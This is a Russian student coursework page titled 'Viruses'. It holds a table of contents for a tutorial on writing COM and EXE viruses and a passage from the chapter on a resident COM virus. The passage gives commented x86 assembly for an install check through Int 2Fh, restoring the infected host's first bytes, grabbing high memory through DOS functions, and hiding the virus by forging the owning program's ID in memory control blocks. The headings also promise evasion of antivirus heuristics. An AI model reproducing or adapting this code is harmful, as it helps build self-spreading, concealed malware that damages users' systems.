Вирусы

Автор: Пользователь скрыл имя, 27 Февраля 2013 в 09:59, курсовая работа

Описание работы

Компьютерные вирусы со времени своего появления
распространились чрезвычайно широко . Сейчас уже
трудно найти человека,который бы ни разу не слышал
об этих " существах " .И вместе с тем подавляющее
большинство пользователей почти ничего не знают о
том, что это такое, и склонны приписывать виру-

Содержание

ЧАСТЬ 1 . COM - ВИРУСЫ ....................... 6

ГЛАВА 1 . РАЗРАБОТКА НЕРЕЗИДЕНТНОЙ
ВИРУСНОЙ ПРОГРАММЫ .............. 6
1.1 Загрузка и выполнение
COM - программы ..................... 6
1.2 Как вирус может заразить
COM - файл .......................... 7
1.3 Работа вируса в
зараженной программе ................ 8
1.4 Как начинается
распространение вируса .............. 9
1.5 Начало работы ....................... 10
1.6 Вирус получает управление ........... 10
1.7 Восстанавливаем зараженную
программу ........................... 12
1.8 Запоминаем содержимое DTA ........... 12
1.9 Ищем подходящий файл ................ 13
1.10 Читаем исходные три байта ........... 15
1.11 Выполняем необходимые расчеты ....... 16
1.12 Проверяем файл на зараженность ...... 18
1.13 Заражаем COM - программу ............ 19
1.14 Восстанавливаем DTA ................. 20
1.15 Передаем управление
зараженной программе ................ 20
1.16 Область данных вирусной программы ... 21
1.17 Завершаем запускающую программу ..... 21
1.18 Текст нерезидентного COM - вируса ... 23
1.19 Комментарии ......................... 29
1.20 Испытание вируса .................... 29

ГЛАВА 2 . РАЗРАБОТКА РЕЗИДЕНТНОЙ
ВИРУСНОЙ ПРОГРАММЫ .............. 30
2.1 Понятие резидентного
( TSR ) вируса ...................... 30
2.2 Несколько слов о
резидентных программах .............. 30
2.3 Алгоритм работы
резидентного COM - вируса ........... 31
2.4 Заголовок вируса .................... 34
2.5 Вирус начинает работу ............... 34
2.6 Сохраняем регистры процессора ....... 38
2.7 Создаем секцию
инициализации ....................... 39
2.8 Запрашиваем блок памяти ............. 41
2.9 Делаем вирус " незаметным " ......... 44
2.10 Получаем вектора прерываний ......... 46
2.11 Копируем вирусный код в память ...... 48
2.12 Устанавливаем вектора прерываний
на вирусные обработчики ............. 48
2.13 Пишем резидентную часть ............. 50
2.14 Заражаем COM - файл ................. 51
2.15 Восстанавливаем регистры ............ 56
2.16 Пишем обработчики прерываний ........ 57
2.17 Обработчик Int 13h .................. 58
2.18 Обработчик Int 21h .................. 60
2.19 Обработчик Int 24h .................. 62
2.20 Обработчик Int 2Fh .................. 62
2.21 Обработчик Int 28h .................. 64
2.22 Область данных вируса ............... 64
2.23 Процедура идентификации COMMAND.COM.. 65
2.24 Завершаем программу ................. 66
2.25 Текст резидентного COM - вируса ..... 67
2.26 Комментарии ......................... 81
2.27 Испытание вируса .................... 82


ЧАСТЬ 2 . EXE - ВИРУСЫ ....................... 82

ГЛАВА 1 . РАЗРАБОТКА НЕРЕЗИДЕНТНОГО
EXE - ВИРУСА .................... 82
1.1 Формат EXE - файла на диске ......... 82
1.2 Загрузка и выполнение
EXE - программы ..................... 84
1.3 Как вирус может заразить
EXE - файл .......................... 86
1.4 Работа вируса в
зараженной программе ................ 86
1.5 Начало работы ....................... 88
1.6 Вирус получает управление ........... 88
1.7 Ищем подходящий файл ................ 89
1.8 Читаем заголовок файла .............. 92
1.9 Производим необходимые
вычисления .......................... 93
1.10 Заражаем EXE - программу ............ 98
1.11 Восстанавливаем DTA ................. 99
1.12 Восстанавливаем точку входа ......... 100
1.13 Область данных вируса ............... 101
1.14 Используемые процедуры .............. 103
1.15 Работа завершена .................... 104
1.16 Полный текст
нерезидентного EXE - вируса ......... 104
1.17 Несколько слов об
испытании вируса .................... 112

ГЛАВА 2 . РАЗРАБОТКА РЕЗИДЕНТНОГО
EXE - ВИРУСА .................... 113
2.1 Алгоритм работы резидентного
EXE - вируса ........................ 113
2.2 Защита от
программ - антивирусов .............. 115
2.3 Как реализовать защиту от
эвристического анализа .............. 116
2.4 Реализуем предложенный алгоритм ..... 119
2.5 Пишем промежуточный обработчик ...... 121
2.6 Защита от обнаружения вируса в файле. 122
2.7 Несколько слов о вредных
действиях вирусной программы......... 122
2.8 Полный текст резидентного

Работа содержит 1 файл

virur.doc

— 1.23 Мб (Скачать)

 

    А теперь  пора заняться изготовлением  секции иници-

    ализации  нашей программы .Поскольку эта  секция ис-

    полняется  при запуске зараженного файла,  выполним

    коррекцию регистра DS ( см. гл. 1,  1.6 ) :

 

               push_len equ $-vir - 2

 

               mov ax,ds              ;Корректируем DS

                                      ;для нерезидент-

                                      ;ной работы ...

               db 05h                 ;Код команды

    add_to_ds: dw 0                   ;" ADD AX,00h "

       mov ds,ax

 

    Константа " push_len " содержит смещение от начала

    вируса до начала секции  инициализации . Именно это

    число записывается за  меткой " vir " (см. п. 2.5).

    Далее  следует проверить  наличие вируса  в  памяти

    (см. п. 2.3), поэтому :

 

               mov ax,0f000h          ;Проверим, есть

               mov bx,1997h           ;вирус в памяти,

               int 2fh                ;или еще нет ...

               jc fresh_bytes

 

               cmp al,0ffh

              jne free_mem           ;Нет -

                                      ;устанавливаем

 

    Для  проверки используется  так называемое  мульти-

    плексное прерывание MS DOS, специально  предназна-

    ченное для использования в резидентных программах.

    В регистрах AX и BX  мы поместим код,  на  который

    реагирует вирусный обработчик  этого прерывания,  и

    выполним команду " INT 2Fh " .Если вирус был уста-

    новлен в памяти,его  обработчик проанализирует зна-

    чения AX и BX .И если  они равны " 0f000h " и " 19-

    97h ", вернет в AL число  0ffh, которое и рассчиты-

    вает получить секция  инициализации .

    Если вирусный  код  уже  инсталлирован, необходимо:

    восстановить в памяти  компьютера исходные три бай-

    та зараженной программы  (см. п. 2.3) :

 

    fresh_bytes:                      ;Восстанавливаем

       mov al,old_bytes       ;первые три бай-

                                      ;та зараженной

       mov cs:[100h],al       ;программы  ...

       mov al,old_bytes+1

       mov cs:[101h],al

       mov al,old_bytes+2

       mov cs:[102h],al

 

    Восстановить значения сегментных регистров:

 

               mov ax,cs              ;Восстанавливаем

                                      ;сегментные

               mov es,ax              ;регистры ...

               mov start_cs,ax

               mov ds,ax

 

    И выполнить переход на начало этой программы :

 

               jmp cl_conv_1          ;Передаем управ-

    cl_conv_1: db 0eah                ;ление заражен-

               dw 100h                ;ной программе

    start_cs   dw 0

 

    Здесь   команда  " jmp cl_conv_1 " очищает   очередь

    процессора ( см. гл. 1, п. 1.7 ) . Без нее наш ви-

    рус на некоторых процессорах  работал бы  некоррек-

    тно .

    Если же вируса в   памяти еще нет, нужно установить

    его в память .Эту работу  выполняют команды,  запи-

    санные за меткой " free_mem " .

 

 

               2.8 Запрашиваем блок памяти

 

    Как вы уже знаете,резидентная  программа должна на-

    ходиться в памяти  в течение сеанса работы  компью-

    тера.Поэтому секция  инициализации  должна  "попро-

    сить" MS DOS выделить для  загрузки резидентной ча-

    сти соответствующий  блок памяти .

    Существует целый ряд  методов, позволяющих получить

    в распоряжение TSR - программы  область памяти дос-

    таточного размера .Например, в обычных резидентных

    программах эту функцию  выполняет MS DOS в процессе

    резидентного завершения .При этом область памяти,

    выделенная TSR - программе  при ее запуске,  просто

    усекается до размера  резидентной части и  остается

    занятой после завершения  программы .Таким образом,

    резидентная  часть  размещается  в том месте,  куда

    некогда была загружена  вся программа.

    К сожалению, использование такого метода в  вирусе

    порождает  целый   ряд  проблем . Например  в   этом

    случае необходимо записывать  вирусный код в  нача-

    ло, а не в конец  файла - жертвы, иначе при запуске

    зараженной программы  она будет " садиться " в   па-

    мять целиком .Есть и другие трудности,  преодолеть

    которые очень непросто.Не  случайно такой прием при

    написании вирусов применяется  редко .

    Другой способ состоит  в использовании  для  поиска

    подходящего блока памяти  так называемых MCB - бло-

    ков ( потом мы поговорим о них подробнее )  . При

    этом вирус должен  путем  сканирования цепочки  бло-

    ков управления  памятью  ( Memory Control Blocks )

    найти свободный блок  подходящего  размера,  разде-

    лить его на две  части, одна из которых точно соот-

    ветствует или  несколько  превышает длину вируса, и

    записать во вновь  созданный блок свой код.Основной

    недостаток данного метода  состоит в том  что MCB -

    блоки являются недокументированной   структурой  MS

    DOS,  и при их  использовании нужно быть готовым к

    тому,что программа будет  работать на одной  машине

    и не будет работать  на другой. Это также относится

    к разным версиям операционной  системы .Кроме того,

    очень сложно построить  эффективный алгоритм реали-

    зации этого метода . Ведь вирусный код должен  за-

    писываться  не просто  в  подходящий  по  размерам

    блок,  а в старшие  адреса оперативной памяти, ина-

    че загрузка больших  программ будет просто невозмо-

    жна .

    Третий  способ  заключается в том, что  код вируса

    копируется в заданную  область памяти без коррекции

    MCB - блоков. Недостаток  его состоит в следующем:

    "время жизни" вируса,реализующего  такой  алгоритм,

    чрезвычайно  мало  и зависит  от интенсивности   ис-

    пользования  оперативной  памяти . Причем "гибель"

    вирусной программы с  почти стопроцентной вероятно-

    стью приводит  к повисанию  компьютера. Хотя  метод

    отличается простотой  реализации и имеет ряд других

    достоинств, приведенный  выше недостаток делает его

    практическое  использование  маловозможным .

    Четвертый  способ состоит в использовании  функций,

    реализующих  управление памятью.Используя его,можно

    построить  эффективный и корректно работающий  про-

    граммный  код,  который будет  хорошо  работать  на

    разных  машинах  и с любыми версиями  операционной

    системы  .При этом его реализация весьма  проста  и

    понятна  . Поэтому мы применим именно  этот способ :

 

    free_mem:  mov ah,4ah             ;Определим объем

                                      ;доступной памя-

                                      ;ти ...

               mov bx,0ffffh          ;Заведомо невоз-

               int 21h                ;можное значение

                                      ;(0ffffh) !

                                      ;Ошибка будет

                                      ;обязательно, и

                                      ;проверять ее

                                      ;наличие

                                      ;не нужно !

    ; _______________________________________________

    ;| Закажем свободный  блок памяти,чтобы можно было|

    ;| записать в него  резидентную часть вируса ...  |

    ;|_______________________________________________|

 

               sub bx,vir_par + 2     ;Оставим вирусу

                                      ;на 2 параграфа

                                      ;больше, чем

                                      ;он сам занимает

               mov ah,4ah       ;А остальная па-

               int 21h               ;мять будет

               jc fresh_bytes         ;занята ...

 

               mov ah,48h             ;Попросим DOS

                                      ;отдать свобод-

                                      ;ный блок нам .

               mov bx,vir_par + 1     ;Запас в один

               int 21h                ;параграф ...

               jc fresh_bytes         ;Ошибка !

 

    В приведенном  фрагменте использованы функции  :

 

    4Ah - изменение  размера блока памяти, а также

    48h - выделение блока памяти  .

 

    Об их использовании  вы можете прочесть в  ПРИЛОЖЕ-

    НИИ 1.

    Работа вышеприведенных  команд весьма проста и осо-

    бых пояснений не требует  .Стоит лишь заметить, что

    для загрузки вирусного  кода выделяется  область  в

    в самом " верху  " свободной оперативной памяти,что

    является почти обязательным  для подавляющего боль-

    шинства вирусных программ .

 

 

             2.9 Делаем вирус " незаметным "

 

    К сожалению,выбранный  нами способ поиска свободно-

    го блока памяти имеет  один скрытый недостаток .Как

    вы, наверное, знаете, при  завершении программы DOS

    освобождает блок памяти, который эта программа за-

    нимает .Кроме того, освобождаются  также все блоки,

    которые были распределены  программе по ее  запро-

    сам .

    Предположим, вирус стартовал из зараженной програ-

    ммы, с помощью описанных  ранее функций MS DOS  на-

    шел подходящий блок  памяти и  записал в него  свой

    код,  предварительно  переписав на этот код те  или

    иные прерывания .После  этого он передает  управле-

    ние зараженной программе  . Естественно, она когда-

    нибудь завершится и   передаст  управление DOS . Но

    ведь в этом случае  блок, который занимает вирусный

    код, будет освобожден, и при первой  необходимости

    этот код будет уничтожен,чтобы записать на его ме-

    сто другую информацию !В результате произойдет мо-

    ментальное " повисание  " компьютера .

    Очевидно, этого можно  избежать, если память, зани-

    маемая вирусом, будет  оставаться занятой в течение

    всего сеанса работы,и не будет освобождаться после

    завершения зараженной  программы .

    Как показал эксперимент,  для этой цели  достаточно

    в MCB,предшествующем выделенному  для вирусного ко-

    да блоку, сделать  определенные изменения.Но снача-

    ла мы немного расскажем о структуре Memory Control

    Blocks ( MCB ) и их использовании  .

    Для того, чтобы следить  за  использованием памяти,

    в MS DOS предусмотрена  специальная структура - так

    называемый блок управления  памятью,или MCB - блок.

    Такой  блок помещается  DOS непосредственно перед

    каждым вновь выделяемым  блоком памяти,  и система

    ведет специальный список MCB - блоков,просматривая

    его при выполнении  тех или иных действий,  связан-

    ных с распределением  памяти.

    MCB обязательно начинается на границе параграфа  и

    всегда занимает целый  параграф.Конечно,MS DOS дол-

    жна знать о том,  где именно расположен первый  блок

    управления памятью.На  этот блок указывает внутрен-

    няя переменная DOS,  значение  и местоположение ко-

    торой известно только  операционной системе .

    Рассмотрим теперь структуру  MCB - блока .Итак :

 

    Байт 0 -     содержит  код 5Ah,если данный блок яв-

                 ляется последним в цепочке  MCB, и код

                 4Dh - в противном случае .

 

    Байты 1, 2 - Содержат PID  (Program IDentificator)

                 программы, для которой  DOS  выделяла

                 блок, или ноль, если блок свободен .

 

    Байты 3, 4 - Содержат размер  блока в параграфах  .

                 Следующий блок расположен в памяти по

                 адресу : MCB_NEW = MCB_OLD + lenght +

                 + 1.Здесь MCB_NEW - сегментный адрес,

                 по  которому располагается   следующий

                 MCB, MCB_OLD - сегментный адрес  рас-

                 сматриваемого MCB,а lenght - содержи-

                 мое байтов 3, 4 этого блока .

 

    Остальные одиннадцать  байт блока не используются  и

    могут содержать  любые  данные. Но стоит  заметить,

    что повреждение байтов 1, 3 или 4 приводит к выда-

    че сообщения :

 

       Memory Allocation Error

       System Halted

 

    и немедленному " зависанию  " компьютера .

    А теперь вернемся  к нашей программе .

    Как  показал  эксперимент,  достаточно подменить в

    MCB, предшествующем вирусному  коду,  байты 1 и 2 .

    Причем лучше всего  записать вместо этих  байт  PID

    какой - нибудь из уже  загруженных  в  память  про-

    грамм.Этим достигается  еще и незаметность вируса  в

    памяти.Советую вам попробовать  загрузить несколько

    TSR - программ и в MCB одной из них подменить бай-

    ты 1 и 2 на PID какой - нибудь  другой  программы .

    После этого нажмите  в Volkov Commander клавиши ALT

    и F5, и вы увидите  очень интересный эффект .

    Но дело в том, что  для использования вышеприведен-

    ного метода необходимо еще найти программу, на PID

    которой наш вирус  будет " паразитировать ".Сделать

Информация о работе Вирусы